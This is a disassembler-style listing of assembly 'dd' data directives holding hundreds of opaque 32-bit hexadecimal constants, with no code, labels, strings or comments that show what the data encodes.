		dd 68A66E59h, 90CD2CCCh, 28046084h, 0EE230FDDh,	8DB74D00h
		dd 3E8ADFD6h, 0A8660051h
		dd 0C2AFCCE0h, 6300BDE2h, 0D5FB7E85h, 5DE58Ah, 306179BAh
		dd 94E88652h, 841D74F4h, 0FB807C73h, 75141F78h,	11800CAh
		dd 79116198h, 0EC3F4C93h, 0E88FA432h, 0C5E9AC80h, 0E043FFh
		dd 0CE0DCF34h, 8351A748h, 0D3EB3600h, 3E7B8528h, 3AFC0082h
		dd 0E8AD6BACh, 165C6D50h, 21720950h, 0CE630037h, 6670E0h
		dd 3DD730F1h, 1B78EFDh,	1578B400h, 8453E4F3h, 0E267771h
		dd 49F25D03h, 0F6B8280h, 80003842h, 0A8964DAEh,	110A9C5h
		dd 0FC6D99B0h, 87EC1FC8h, 2A447E84h, 903AE570h,	9ED10052h
		dd 0F37A2283h, 770004C4h, 317C4537h, 0A8494259h, 4A6CB8h
		dd 52D6D967h, 0EF3E06E3h, 0A2CFEE00h, 3265AB14h, 0E9EB043Fh
		dd 848838ADh, 0D8F681E1h, 28B8CB4Dh, 23001C05h,	0C50A736Fh
		dd 46B370h, 0EF91ED27h,	1A2F02B9h, 21551830h, 6F6ED2h
		dd 0ADA42C2Dh, 9A0D6771h, 24AF6300h, 251B641Dh,	0E3DB0032h
		dd 70F82318h, 4B007510h, 0CCFFFAA9h, 4AABAA1h, 0DEB2C80Eh
		dd 0E6148063h, 253A5DF8h, 0CDC213ABh, 0F30C7400h, 2BB5CE0h
		dd 10BD32FEh, 4440BA64h, 87075E33h, 0F107F7BEh,	67A9CF2Fh
		dd 0FC408F44h, 37E1177h, 42097289h, 0C9884D10h,	3500E707h
		dd 827F9EA3h, 507896h, 89405BF6h, 0F07B9042h, 1A83091Ch
		dd 26740F40h, 0D2FBD9h,	0C7C8E535h, 55DB6B96h, 6FB0277Ah
		dd 8E508400h, 0F7EFB78h, 0E1770315h, 0AE0B97Dh,	0A61C7CC0h
		dd 0BB2AE500h, 42BA8524h, 418003Fh, 5D8F0352h, 0D807730Ah
		dd 6CED5810h, 4BBA2891h, 58601FF5h, 0C67907F7h,	80F647D0h
		dd 7E7B2950h, 0CA0E4FECh, 0EE66BC32h, 0A2A6607Fh, 1CD66Eh
		dd 0F889630Fh, 0BCF05C80h, 5D3C0304h, 8880E516h, 657AF7h
		dd 77B56047h, 4C0F78D4h, 9600E7F2h, 165E70EEh, 15A9AABh
		dd 8E365517h, 0D1C19BBFh, 526670C0h, 3E381F3Eh,	8C2F00F9h
		dd 29E469ACh, 0D1D00F4h, 15464A70h, 1800FB75h, 2E76B1C6h
		dd 0FE6A4B72h, 0B6ED001Ah, 8720DDF2h, 0D43E66C9h, 0E100FAF0h
		dd 5306BF0Eh, 82600Ah, 8A5A32DDh, 0CA21ACAFh, 70311E01h
		dd 0D8DFAA98h, 6A66D0h,	0B9E9EEC1h, 2458EF57h, 0F109D500h
		dd 9627CC03h, 67A500F0h, 25411EE4h, 65B0D43Eh, 7BFA0100h
		dd 7684D2F4h, 3FB0C003h, 493A482Ch, 82BE9E1Fh, 8F01FCAAh
		dd 0B00D6C22h, 1C25022Bh, 1B6710F8h, 10C8A383h,	0F43974F9h
		dd 407E8A9h, 31E19955h,	94D34E60h, 56D2008Eh, 0EF74EC65h
		dd 0C5008191h, 0DD8BA714h, 92B50F6h, 4293F5E6h,	489A3E80h
		dd 0B42EF3D2h, 0D80080B3h, 855740A7h, 6B90C018h, 0B71C7122h
		dd 0DC0C3200h, 624CE4DAh, 0D77A00AEh, 2E1FC419h, 79008A2Ah
		dd 0C087CB81h, 0E66E48B2h, 1105006Bh, 0A66CD1A9h, 0B376AFA3h
		dd 0FB067900h, 98B233A7h, 0D86000C0h, 0D0203E62h, 970068FFh
		dd 0A80E53D6h, 0ECA2EED7h, 38C00002h, 75786CB6h, 0BB003592h
		dd 0E1614686h, 0A2B9B1h, 0AD8C5027h, 7685C5A7h,	0E8872600h
		dd 9952282Eh, 2B3E0015h, 0D196674Dh, 0EC1CDD24h, 0F980B592h
		dd 0BBDB538Bh, 5BCE000Ah, 9AC3E3BDh, 7200A5F2h,	0E10B09D7h
		dd 1DAE1A0Fh, 40AA7674h, 23943098h, 480EFB9Eh, 60AF9B52h
		dd 0D81B3CEBh, 24453AF0h, 0D363F503h, 0C8E04797h, 0A0008C16h
		dd 0AD969CCBh, 901807ACh, 7E2E0168h, 0CC87A4AAh, 0C2B1607Bh
		dd 0B7CDB41Ch, 7FC900F9h, 0DDD1D205h, 1450F6F9h, 0BC0AC245h
		dd 8701D84Ch, 74E988CEh, 1E742073h, 1D03083Dh, 0C78A937Bh
		dd 0BA00F887h, 0EC35C538h, 0E38604F4h, 8071DF0Fh, 85644CB2h
		dd 4BC4A500h, 2F0E491Dh, 0AB540173h, 0FC63BC2Eh, 6A8CDC14h
		dd 13B7BA1Ch, 31431F00h, 1D0C9F3Dh, 0DAB082h, 3012A81Ah
		dd 0A0673F81h, 69800A11h, 4817D6A6h, 0D0C2426h,	1A0822D1h
		dd 31C2AA03h, 3DAA67Dh,	6B213728h, 5A88E113h, 2B002304h
		dd 0D1802273h, 0B79311h, 5166BE9h, 6F9D1D2Ch, 0B194EF00h
		dd 7B5DF296h, 0F1AC000Ah, 74E61AB6h, 524B7ACCh,	31DD2DC0h
		dd 4B6200A4h, 0DF3DAEE0h, 44A0E48Dh, 683FF236h,	887B01A4h
		dd 51EA423Ch, 0FAF5843h, 82A4E130h, 0C4E8Ah, 84BF62A7h
		dd 773042CCh, 8578088Bh, 27C01205h, 9AE44511h, 3A7840E5h
		dd 0ED867D30h, 80945106h, 0A1EACFD7h, 2BD85252h, 5B284869h
		dd 0A4F86C00h, 84D62195h, 37FCBE00h, 0C87D01A3h, 1C6400E1h
		dd 0EE303BCFh, 20F79366h, 0C6004B34h, 2B2D2C3Dh, 698084h
		dd 7E74679Ch, 0F318AB73h, 453FB200h, 5377EE8Bh,	0EBC6056Dh
		dd 0DB3A19h, 647B2D58h,	1C0E924Ch, 0EE9ABF43h, 21228C45h
		dd 37F79C4h, 6BF2F9F0h,	0A288A301h, 3722402h, 0D86F32Eh
		dd 1017D400h, 0C6488C1h, 522A3E2h, 0E6002020h, 0D520F19h
		dd 0A368796Ah, 0D414C18Ch, 0D1F2F0F7h, 0EB223146h, 8F0C0509h
		dd 0E0DCB420h, 0D68314C0h, 0CE363E8Dh, 8BC68A0Eh, 825E8C21h
		dd 4410802Ch, 646EF6A5h, 1AD4A928h, 3844E0D6h, 6CC61E89h
		dd 77134B57h, 0DD732D80h, 29C02601h, 72534C2Fh,	30020DA6h
		dd 4809C025h, 4301CFACh, 0EFA78B53h, 0D5E8ABB6h, 0F41B1F17h
		dd 2A82682Dh, 19404D3h,	96B781CDh, 605ED833h, 0EF1E6B68h
		dd 1ACC6C73h, 0FE8E8001h, 76950068h, 47701DD5h,	2E1F20BAh
		dd 1CC04F92h, 1191A16Bh, 0C4000E3h, 0E5AF031Eh,	253FCD10h
		dd 9276807Fh, 0FD54F991h, 26B70F0Fh, 48E0ED77h,	0DCE6F42h
		dd 1566FE17h, 0BDAAD300h, 1BFA7h, 4C3A2837h, 87F28E90h
		dd 4A8BE300h, 9B2DBAABh, 22DB0174h, 0DE3D8A6Fh,	0CE67CC91h
		dd 2892D100h, 0BF69F4F6h, 24CB0054h, 0D966110Eh, 4A008AA9h
		dd 0C5863BE5h, 3FC95F52h, 730383h, 26EE46B1h, 1CF01FF6h
		dd 0E464F703h, 74FB8Bh,	7C3C0279h, 83A98247h, 3DD2100h
		dd 88C05DBDh, 0E5F9001Eh, 0C3E7C246h, 0B9001104h, 97780B7h
		dd 0DF7612h, 10EE4F5Ch,	3ACE6DF1h, 0A6876E00h, 2679DBECh
		dd 0AE9D02E9h, 69F25CF3h, 984C4A03h, 2EC22Fh, 5BD354C5h
		dd 2DCBC82h, 45953207h,	809FC169h, 62733467h, 0F53C1BD8h
		dd 0E3E8B849h, 850EEDA0h, 0EC6E0361h, 1888E0AAh, 3127AFD3h
		dd 8B01134Ah, 8D111560h, 0BDDD1824h, 22E920h, 55DE77BEh
		dd 995FA8D1h, 0B60ADAF8h, 40EDBE2h, 83BA11DEh, 0CD0BE1DAh
		dd 7CC8BEF0h, 1A2102D3h, 1B1228EAh, 5270AA01h, 74DBD9FCh
		dd 8451364Bh, 3E31A139h, 54110877h, 232048h, 0F86A0E78h
		dd 7E7D4B48h, 0B5E34A19h, 9B3DE98h, 692E1050h, 4C204D23h
		dd 79403483h, 43E95A0Ch, 8961591Ch, 0D63ECB10h,	0E0A25059h
		dd 0D1608118h, 408084Dh, 0CF8F8D3h, 4E3E5261h, 0C9D02581h
		dd 11C4604h, 0B5D40451h, 0BDD103BAh, 14450C54h,	4C0CC0D6h
		dd 0F536183Ah, 10A12449h, 483E4050h, 7E738005h,	59B3DF07h
		dd 0B5B584C1h, 8C3700Ch, 4D8B1EBFh, 68981113h, 0E07F0421h
		dd 0A4560F8Ch, 0CF187485h, 66105234h, 19A36FA9h, 7FD27860h
		dd 0A00DCEFh, 0AC626736h, 60E23F7Bh, 0D0294110h, 867F3D66h
		dd 19FE1A31h, 30EF989Dh, 0A9694C39h, 20C3F8F7h,	74629Fh
		dd 17C56049h, 9AAB2BAAh, 33993C01h, 5742C4A2h, 1320388Eh
		dd 51850C33h, 0CE022A10h, 4CD24D1Dh, 67BC61C3h,	17D36980h
		dd 9AAA5CE2h, 1DE46B00h, 0A036DBACh, 1C440E23h,	0FA9E2451h
		dd 291720Eh, 624841BFh,	0FBF5A449h, 0C1FF9AEh, 0D9D8B5Ah
		dd 17EC8A07h, 0AEA58580h, 99F9411Fh, 0E151E248h, 23F6D0h
		dd 0FD14DECh, 0FD2FCA69h
		dd 143E2D00h, 0AD08BAFEh, 532B00A1h, 4413711Dh,	0BE069E72h
		dd 48125E7Dh, 150F02D9h, 75FADC26h, 663B8C80h, 0E8C0704Ch
		dd 8DD7D9A1h, 0A06B0CA3h, 0AE8929D3h, 0BA264607h, 9C47FE2Ch
		dd 3D148ECh, 0D3B1E03Bh, 281FC9C8h, 0D28A3D70h,	248AC0FFh
		dd 39840Ch, 0AD57EA64h,	36228Ch, 8D4AF7B1h, 0D2BC863Ch
		dd 0E11D78A3h, 0E303F5BBh, 5794EBFh, 2A77AD18h,	0D888C0B4h
		dd 0F00397BAh, 0B1A6638h, 62210111h, 93F5A3C3h,	0A10AE341h
		dd 0B0A58727h, 12AC8914h, 38008DC4h, 0C9A36AA9h, 0ED851E62h
		dd 0AC7180FAh, 9FD21744h, 0F5570890h, 0BEB040A8h, 27DC561Eh
		dd 59891E1Fh, 9A3811D6h, 7E1D6424h, 0A5B0E06Fh,	749288B8h
		dd 0D5424964h, 800E162Dh, 0A6E8230Fh, 80DF00CFh, 0F6A1B1E2h
		dd 0E400C74Ch, 391498F0h, 61A724FCh, 0CFD358A6h, 2CA440FDh
		dd 7D00BC88h, 0C8E08569h, 0A98E210h, 0B47B181Ch, 90F703CEh
		dd 0C800289Bh, 168B230Bh, 0B822884Fh, 0DD4E0A8Fh, 12A0AA25h
		dd 608C1824h, 65241089h, 6A83C05Fh, 0F580174Fh,	630C9002h
		dd 5AB8A7BFh, 2FD60048h, 18449FB2h, 40D0E549h, 0CE653D8h
		dd 9829CB74h, 5E448C13h, 29CD4941h, 0C8C044Dh, 318F6ED0h
		dd 0F7AC3480h, 6474D2B1h, 658C3093h, 0A049A939h, 5447E388h
		dd 50874CE4h, 8BCDF0A2h, 0F1BAC032h, 864F20F2h,	0C800A83Ah
		dd 4B2EFDC7h, 0A46792Ah, 0AB0244Eh, 0D9CA1880h,	530E7264h
		dd 69AD22AEh, 8BD8100Dh, 0D428CC09h, 9A0C6469h,	39FA4B4Ah
		dd 901E7C0Ch, 58135288h, 84E2CA09h, 0EE24B002h,	0CEAC4890h
		dd 0B1E1DF01h, 2CD62A7Dh, 621FECh, 22AD619Ah, 0E1E2B4A9h
		dd 6F73B0C0h, 241001BBh, 8CB364h, 0F7A12B8Ch, 0BC66AE86h
		dd 2790C18h, 0FE2D5020h, 94A1DB89h, 20C0E4BCh, 0F9421BE0h
		dd 65261F20h, 34A894AEh, 4D4D5C90h, 280F07E4h, 8E3014A6h
		dd 489A79A0h, 1D00B0DEh, 3F49E1D3h, 0D102214Eh,	2C184F13h
		dd 682403A7h, 83F01048h, 0E34E450Ch, 11A8C16Bh,	22AA8180h
		dd 0CFB64DE3h, 2DB90A61h, 0B3EFB28Eh, 798C8F57h, 0BF710185h
		dd 0D3BBB917h, 0C841A812h, 660C657Ch, 10456260h, 0E1B400E4h
		dd 28DB2E1Fh, 4D504B71h, 98A94CC8h, 0A1A9F82Fh,	0E4083A05h
		dd 1A80AF61h, 3064E734h, 0CFB1F8C6h, 90C24AACh,	0C0E3C937h
		dd 7D3A90Ch, 0CC561C4Ch, 1007AB9Eh, 397AF0CFh, 8B31CA8Ch
		dd 4A6F29D7h, 444B0417h, 0B44475D5h, 280B4AF5h,	90EEF108h
		dd 696B8241h, 40705DBh,	48EB9A14h, 0C0AC80ADh, 0AFA1E4D7h
		dd 0DD865001h, 0D4C85F45h, 0FC2C76D4h, 1F74004Ch, 0B89B4BAh
		dd 7A30AB02h, 5F570905h, 3E8100CEh, 9D0ED3CAh, 11F6CADh
		dd 36C05850h, 0F96F9BE2h, 4D40016h, 81510229h, 0A7B14B9h
		dd 0A6BCAF1Eh, 0E06635C0h, 87A2A8h, 6EA9080Eh, 0DCF7E13Dh
		dd 0D10CF500h, 9B48D940h, 1016040Bh, 80A01C8Ch,	453AC514h
		dd 4400B7F0h, 0D189E13Ch, 219B7Fh, 835CD8CDh, 91228D6Ah
		dd 0CFBFE707h, 0ED11D2B0h, 0D8E3988Ah, 0E14B19Dh, 215077FCh
		dd 13266C2h, 0D1997848h, 57640B00h, 0A0E897CEh,	356C00F4h
		dd 9C074624h, 0FAE495C9h, 0F86F1300h, 0FA6562Ch, 0E93B00B8h
		dd 0A44754B9h, 0C4F691E4h, 3A94D300h, 517EDC68h, 7B8A0027h
		dd 859C3B0Eh, 0E4033C66h, 0FD5513C3h, 5245C89Fh, 886C01F5h
		dd 4808DBB2h, 2F2080C8h, 0C2B3E53Ah, 0B657009Eh, 0EF3F8A99h
		dd 0D6008B76h, 64702644h, 0E1C996h, 6B47C512h, 345EE8EEh
		dd 933D971Dh, 78F2CBC3h, 9DB7983Fh, 735100A3h, 56A8A0C9h
		dd 0AD7D3781h, 94EAB100h, 30EB38EDh, 177E0742h,	0F2393490h
		dd 6C40530Fh, 4B01AFBDh, 54C2BC57h, 42801A0Ah, 4AB8B00Ch
		dd 47EA9B30h, 0D88E3300h, 0A4C55F75h, 9696066h,	0C0AD3423h
		dd 0AFCE3B00h, 0FB3A78E1h, 1C9003h, 3544CA96h, 118BE52Dh
		dd 0B4DB3B01h, 0BCE851EEh, 48A5F450h, 0F404027Eh, 0C2E36FB2h
		dd 0DCE4C481h, 0B7F02E86h, 8EA300A8h, 7F4E6608h, 150110BBh
		dd 0F0F7BE6Eh, 0CBC4E29Fh, 0F8A800EEh, 40CE9E6h, 97000652h
		dd 51AD72ABh, 7C27458h,	0C427EC62h, 8523CFDDh, 0C6A89525h
		dd 19008FEDh, 0FBBF1C5h, 2C3E50B1h, 803CAAB2h, 1D9E12D5h
		dd 16006AB5h, 2572A79Dh, 3EC9BD86h, 5987E5D9h, 8076406Eh
		dd 36CD904Eh, 6745C700h, 0CB21A99Ah, 0CCD0C0EDh, 5B3FBC2Ah
		dd 6310E960h, 9025292Fh, 0A2480FD7h, 0C54081B4h, 385F3D8Eh
		dd 0A782C800h, 0E4328376h, 67E700EBh, 0FAB474B1h, 1373235Ch
		dd 7A5E9003h, 8142CFE5h, 0D7C0E1BBh, 1A081C01h,	0CE89406Eh
		dd 3CE5457Dh, 0AFADD50Eh, 85B4E388h, 0F2D3C00Dh, 439E05D9h
		dd 0A2C636h, 89CB294h, 24263B6Ah, 230087A4h, 0FEB639ACh
		dd 0F5574830h, 1F46BF03h, 0B7A85BD3h, 0B800DC50h, 0F37ABD0Bh
		dd 0ED4BA0Eh, 0E31FDABEh, 8CE1B6E0h, 40001A11h,	32F22D8Ah
		dd 0EA46C7A6h, 88B0A0DFh, 501C1D8Fh, 40599E87h,	7A278493h
		dd 0F7007091h, 0F8973D7Dh, 361307Ch, 1103DD9Fh,	900E3A5h
		dd 7EFF0A49h, 0E227FD44h, 7090A00Dh, 0DEF5005Eh, 45D250D9h
		dd 8200C399h, 6EBC3C30h, 3ECC1116h, 59BCEAE3h, 4B36AF87h
		dd 0F4BA58h, 13B41C31h,	1E008A52h, 0E5CD2084h, 0C9854BDh
		dd 5CE93DBBh, 0C400DA5Ah, 0E4558FFCh, 0E2EDE0E7h, 0C3260748h
		dd 0C0FE0A10h, 49063951h, 7D07DC90h, 9484CEB7h,	6C01B48Ah
		dd 0D444EDADh, 0DADC1184h, 6E0480BEh, 0A1002614h, 0E65C64C6h
		dd 3085BDFh, 9E531725h,	2BA73685h, 9281D026h, 40F91C00h
		dd 80237BFh, 4ACF00C9h,	0F4BD1846h, 1B07160Ch, 0DDFBD5BCh
		dd 6BBE7280h, 0AD2A09A6h, 6E8099DFh, 0CF038574h, 61C6B30Ah
		dd 0C780CC01h, 806D2E3h, 27B8128Eh, 25440041h, 9E07EFA1h
		dd 53F6920Ch, 0BF16E16Bh, 482F11C0h, 5DBBD0C0h,	0E68F4F75h
		dd 43773B3Dh, 0A26E8880h, 6499A6FBh, 48482B73h,	35E903DCh
		dd 12FD17E2h, 0C03FC0F9h, 0D4B32DF0h, 0A54FCD00h, 0F375CA3Ah
		dd 0A9B10224h, 4D60F93Bh, 0A6A0460h, 98A0534Eh,	45900095h
		dd 0D00FDBDAh, 0EB002F54h, 1B79042Eh, 2AE5C2h, 0AB8E1FE9h
		dd 42A4F044h, 1650FA00h, 1E29FC97h, 10670E66h, 9CE02A3Ch
		dd 5F837BEEh, 0D10169F8h, 0E30E88F4h, 0F07EF686h, 0ED0FEC68h
		dd 0E0121735h, 4501A69Bh, 72820073h, 3046F97Ah,	5B00BA87h
		dd 433708E5h, 4E04B0h, 513BCBF3h, 0B9EEFE6Dh, 9B31A500h
		dd 2CEDAAC5h, 28B10070h, 55E6929h, 5F3FFB2Eh, 0C46E009Dh
		dd 0DF6C20E2h, 0DB100317h, 0CF1669D5h, 0FB50900h, 0EC17414h
		dd 8A91076Dh, 3731B9CCh, 0D52B4128h, 0C335D47Dh, 40084F0h
		dd 80DBE722h, 3FD088h, 0A7732EE0h, 9D1A51CBh, 23422403h
		dd 0C8FC541Bh, 3E2BDD09h, 74BE9BACh, 2FA8DC07h,	0CF14D173h
		dd 0E1CD028h, 0EF7D3F02h, 0C1F6329Ch, 3180C41Bh, 2D5323B3h
		dd 1C1BE836h, 0C819828Ah, 408A8DFh, 6EF1ADC5h, 1048C783h
		dd 5CC480F5h, 345874Ch,	822BD52Ch, 0D4C2F0D3h, 42E901DBh
		dd 0A2D1198h, 53E0803Bh, 745BE329h, 0E62500F5h,	1E302ED5h
		dd 0D307B8BFh, 5E090CC5h, 4D505750h, 0F33801F6h, 99416377h
		dd 5F19805Dh, 76A1E378h, 0A9C200DAh, 8B18BD9Ah,	9300A483h
		dd 6423286Bh, 11AF650h,	0EC81407h, 0CC3F199Bh, 153CFE2Bh
		dd 88A0F329h, 90003A5Fh, 0C42FF688h, 9C8A17h, 1E9BE4FFh
		dd 0B6A567FDh, 6B02102h, 0E0A95C89h, 0BE3094h, 0CF83107Eh
		dd 4BFDD95Bh, 0B1C1B201h
		dd 28B4206Ch, 887B2080h, 0A57D40DBh, 9C41E01Ch,	4D5B0D80h
		dd 783FBh, 535723BAh, 394BB6D2h, 17C59000h, 930EF894h
		dd 85DF0096h, 8402F086h, 0F207EA88h, 4466C8Fh, 8CC16FF0h
		dd 0ABCC0683h, 9E69403h, 1FDC000h, 2A4967Ah, 8F322CF9h
		dd 0C820F4h, 0AB5E0FCAh, 416AA187h, 0CE770500h,	143FD46Eh
		dd 9ED3006Ch, 0BA39D58Dh, 0AFEA030h, 0A518B800h, 0F27D14AAh
		dd 3BF5F252h, 63834159h, 2FBCFFCAh, 7F95B688h, 8B170B00h
		dd 76FBF22Eh, 99A31C75h, 1DEB8092h, 36F8BA84h, 0A40058F2h
		dd 2206F9CBh, 0C6C45Eh,	559CD507h, 3A028881h, 0EE9DC918h
		dd 0E73111h, 0E662968h,	0ACD00BA5h, 0D4A0C6E8h,	7324FD21h
		dd 0A300C839h, 0CE5B9435h, 34620080h, 0B0C46D7Dh, 58128F9Fh
		dd 600029B4h, 2746E79Ah, 7497202h, 603E991Fh, 0B06B8657h
		dd 0A9CC9300h, 2C3A9F97h, 0EE7C0068h, 0ADB2B68Dh, 0AC6051A7h
		dd 0DA23465Ch, 0FF2500C6h, 4005E665h, 4803E414h, 6D1822BDh
		dd 1A7EA8B9h, 98C80216h, 472F707Ch, 0A6939083h,	0ABFB20EBh
		dd 446F8CE0h, 65F3A500h, 1F418F24h, 7D4C4CD2h, 54C94E12h
		dd 17EFA24h, 2555027Fh,	8020BC32h, 1C7C4218h, 21DEBBh
		dd 0C9F81B39h, 7DD64517h, 5931E51Ch, 20229600h,	0F0DE4D75h
		dd 50F17CA4h, 6EA0F4h, 8862409Eh, 8866FCDh, 9698C201h
		dd 82789BFDh, 0EC43834h, 0FCD14BA9h, 0C19FBECEh, 0B71ECABFh
		dd 0EA2080DEh, 0A4A65B6Ah, 0D16814F6h, 0CC0EA84Ch, 0DBEC8BAh
		dd 50202E3Bh, 0B555C77Ch, 0E23F0A7Ch, 0F4AF8077h, 0FB88453Eh
		dd 0A1390009h, 0B0F586A0h, 9A018A6Eh, 7FFE2E9h,	6820B9E8h
		dd 0AA9700DFh, 0FE33E104h, 8A00DC09h, 32D508FBh, 181EF324h
		dd 9E926E3h, 910318EFh,	0BA12022Ch, 0EE80BDF1h,	3B74A2EDh
		dd 78D02A41h, 1227A6Eh,	0F1B90F15h, 80148284h, 0C98A43E1h
		dd 24784C20h, 89FBECh, 5622D9BCh, 6E009ECFh, 696B143Bh
		dd 581B3532h, 8C00E23Fh, 0C93B655h, 4F00D8ADh, 0B1BDECB4h
		dd 2808Eh, 0FCB9E696h, 0EDFB4E13h, 0AF21E212h, 6012h, 8FB38EECh
		dd 0CAD80ADCh, 94FC20h,	0C974245Fh, 6A000766h, 71DC4EA8h
		dd 3A160889h, 81803BC7h, 557F25BFh, 0DB12280Fh,	8062711h
		dd 3E393C8Ah, 0ECD453B6h, 92A6060Fh, 482FD377h,	96B4AD00h
		dd 0EDA5EA50h, 30C50F9Eh, 9BA0DFB9h, 0A8E7F1C6h, 9C87BF00h
		dd 4E073801h, 0BC903Ch,	0B7D6F2B5h, 9F396362h, 55E1510Fh
		dd 0EC73801Eh, 0FC456CBAh, 79116009h, 365F6D3Eh, 0DF4C7FF2h
		dd 0A0007C3Ch, 392CD04Ah, 46F69FAh, 58B96CF5h, 0FC44C042h
		dd 51F3FF9h, 0A0C0BFAEh, 197E8B2Ah, 0D3430241h,	46E3778Eh
		dd 4A2729E0h, 0DC8DDE00h, 0A774DB1Bh, 9980A0C3h, 0C8CA89C8h
		dd 0DF01A0BCh, 0BF549C4Dh, 0C7FEA5h, 481CAC88h,	901715A6h
		dd 0FF3C4018h, 1B3E18h,	0EF5D784h, 20DC9F95h, 0CCBE9200h
		dd 0B23677C5h, 0E3670085h, 6E1C6BEAh, 801C3264h, 8F403B1Bh
		dd 956D709Ah, 53D900EEh, 50DF8EF2h, 1C39EB2Ch, 0D1007D66h
		dd 0A833BE7Fh, 81F81Fh,	5E91DF9h, 2E6E53ADh, 3C0044EAh
		dd 0E788CB42h, 0E00399h, 0CCBD8446h, 8D201FE1h,	119F0D00h
		dd 0ED3EFDEBh, 6E6D0025h, 1D906C9Ah, 0C31E3D01h, 0AC3BC2Fh
		dd 0D8B7B0D3h, 0F25ECAh, 241CA566h, 28EC2192h, 62E16D00h
		dd 5BB65082h, 40C7002Fh, 0F92AC301h, 3F00F5FAh,	7F1F8926h
		dd 38171B9h, 0AFEB3356h, 9CE0E65Ch, 0DD004DB3h,	0F9856ED6h
		dd 3AC01EA4h, 0F71896h,	0C5AAC1FDh, 0F620A06Ah,	90666D00h
		dd 7BB5A6E8h, 0EF00170h, 7704A37Fh, 0FB9440F3h,	0F2008B4Ch
		dd 211AD2B4h, 4CC8737Eh, 39771606h, 2A0228C1h, 4568F801h
		dd 8F6C1D60h, 613FDF74h, 1100FA30h, 0A48D3AFDh,	2C89D5C8h
		dd 459F72h, 0B9E19DF7h,	800023F2h, 98B63719h, 5026B705h
		dd 0AB9C9Fh, 0B1CAF8FFh, 9EC3E996h, 0D501EFE8h,	0C86C4EA0h
		dd 0C9D0F304h, 672E41Fh, 777EF6B2h, 0BC0709A6h,	42D524B0h
		dd 65528140h, 0FFEA008Dh, 0E6E9F996h, 0E006DD6h, 66F6FC3Ch
		dd 1EE8B2Fh, 654A580Bh,	0C45DEFBCh, 0F8E97BFBh,	0FA262344h
		dd 6300ACDDh, 16F8DF66h, 4FAD1C7Eh, 0C42E0029h,	0E7B58C1Dh
		dd 0BC800350h, 3307AE76h, 0F69A903Bh, 983E3CF3h, 704ABFFh
		dd 0F036545Fh, 42E6B21Bh, 0C712C380h, 6C00580Ch, 0E4C4A23Bh
		dd 0E1B4E2h, 0D934187Fh, 0DDD5C780h, 0CA9EB900h, 23ADF607h
		dd 92B60095h, 0E057397h, 8B002DBDh, 627AEBEDh, 0FE0FD083h
		dd 0AEA01E8h, 2EFD749Bh, 8E2CCA0h, 0D5E4F100h, 9F866484h
		dd 0E0C406BAh, 6887934Bh, 2B7A9102h, 883BCEh, 0EB1EFA81h
		dd 44120h, 0A453A771h, 73E43FDBh, 0AA78A801h, 0D27C9154h
		dd 0A82C4BEAh, 0EEC1311h, 0E50AA5D9h, 0C5BEE080h, 5300513Ch
		dd 8609926Bh, 747312h, 67AC6948h, 0DC75FB2Eh, 21B3D300h
		dd 0F790799Ch, 0F3A400BCh, 286BA2B4h, 0E7002C38h, 4A42C3D5h
		dd 185E563h, 0DFC57CDCh, 0CC6C64B4h, 8A6059F8h,	9114A668h
		dd 39C379A0h, 6A2F08FFh, 2101A6D0h, 2487B02Dh, 0F880D563h
		dd 16CFADC2h, 80000417h, 0BDB302C0h, 6A7F15h, 198AA591h
		dd 0D593DD4Bh, 0B1332500h, 36E6DA7Eh, 157C0FBCh, 0C4002A4Fh
		dd 0C1E0A6F6h, 0F4A97901h, 6432349Eh, 8031D8h, 906BF017h
		dd 0DDE02EDBh, 0DA8DE150h, 0DFC60E00h, 0D6DE0A64h, 23F059h
		dd 999156D4h, 0AE86C342h, 87374718h, 1D40AD08h,	2C25D2h
		dd 0BF2C2DFh, 970003BDh, 0C01BB9F9h, 2484894Eh,	3AD41E51h
		dd 3B2B0E00h, 0F8E3B747h, 6DDD301Dh, 6CC41F5Ch,	6580C317h
		dd 1C2C1AEEh, 0C07A73FAh, 3DBD2F33h, 2D031BA9h,	65C9252Eh
		dd 0A050FB0Ch, 0ADAC52h, 9038A286h, 21CBE1CDh, 2A04E574h
		dd 0D83987A1h, 76494C0h, 0A66A01ABh, 0BB6EB5C0h, 0E8F02018h
		dd 3CA07526h, 3166706Ch, 10B020EBh, 0EF8AC44Ah,	0C3F9C412h
		dd 61522000h, 0FC3BC2C5h, 7A2971CDh, 0F8F0059h,	1AE13757h
		dd 3600DDC4h, 0CD7F07B1h, 0DACB86h, 0D681263h, 668E11E5h
		dd 0B75EC309h, 7348801Ch, 34D464h, 3A98FF6Ch, 68DB1D88h
		dd 0F3D3423Fh, 57E08500h, 0B2E48414h, 5DFCA0DFh, 4FCD008Dh
		dd 0DD4E0C9Dh, 5A00720Eh, 23CE56BBh, 3C38B8BAh,	47001EA9h
		dd 4DACCF0Ah, 9F00020Bh, 53DED9C9h, 71F86BEBh, 0F6A23817h
		dd 8DA10880h, 0F029E9FCh, 2D1D32E2h, 380FFF84h,	180E4349h
		dd 0B84E9726h, 24800C09h, 80686BFAh, 0C2DCB090h, 3F006EF5h
		dd 63ACAF9Eh, 0D860A1h,	57078CB2h, 0E3868534h, 1580A600h
		dd 5E6763AFh, 0F366006Ch, 22A9DCDFh, 1F289765h,	8A02802Eh
		dd 7A2AFF6h, 9DD44072h,	84B900CBh, 46B6578h, 9AFA62E3h
		dd 0EE2B8C07h, 0C5F04966h, 0FB739Dh, 4E02A6CEh,	592E1844h
		dd 8013363Dh, 5BBB6283h, 0C28C5Fh, 512BCBCFh, 0BE0F8A4Bh
		dd 0A9C7F700h, 0F697E5D8h, 71CE0058h, 0FF31F49Dh, 9900943Ah
		dd 395C17Dh, 3E211278h,	5DBD9ECDh, 465BE80h, 20CB5018h
		dd 0BDF03B00h, 0ECEA831Ch, 0FAC2008Dh, 0B423A244h, 0A8280AF1h
		dd 9028C056h, 6F008B54h, 0E10E9A1Ch, 7147FBDh, 4C0CB931h
		dd 0C896F362h, 0FD121089h, 74AD8B3h, 3F171F01h,	469BFF92h
		dd 5C6179F8h, 1200C282h, 66CF4ED0h, 3B19F3ACh, 0B37A9C20h
		dd 890470h, 86BB5187h, 9E271D42h, 6B0DCC98h, 90EE1B11h
		dd 5A6FE0h, 1815C83Ch, 769EAC3Eh, 1100917Ch, 0A6A53DF0h
		dd 3F8962h
		dd 4A0893FFh, 43FCEA70h, 400A8F4h, 6102BDA3h, 3FA0277Fh
		dd 22009DCAh, 8C307772h, 147886A4h, 17715A18h, 632E6350h
		dd 0B6EA7867h, 8CA24B8Ah, 0E5C08253h, 7719150Dh, 7131BC5Bh
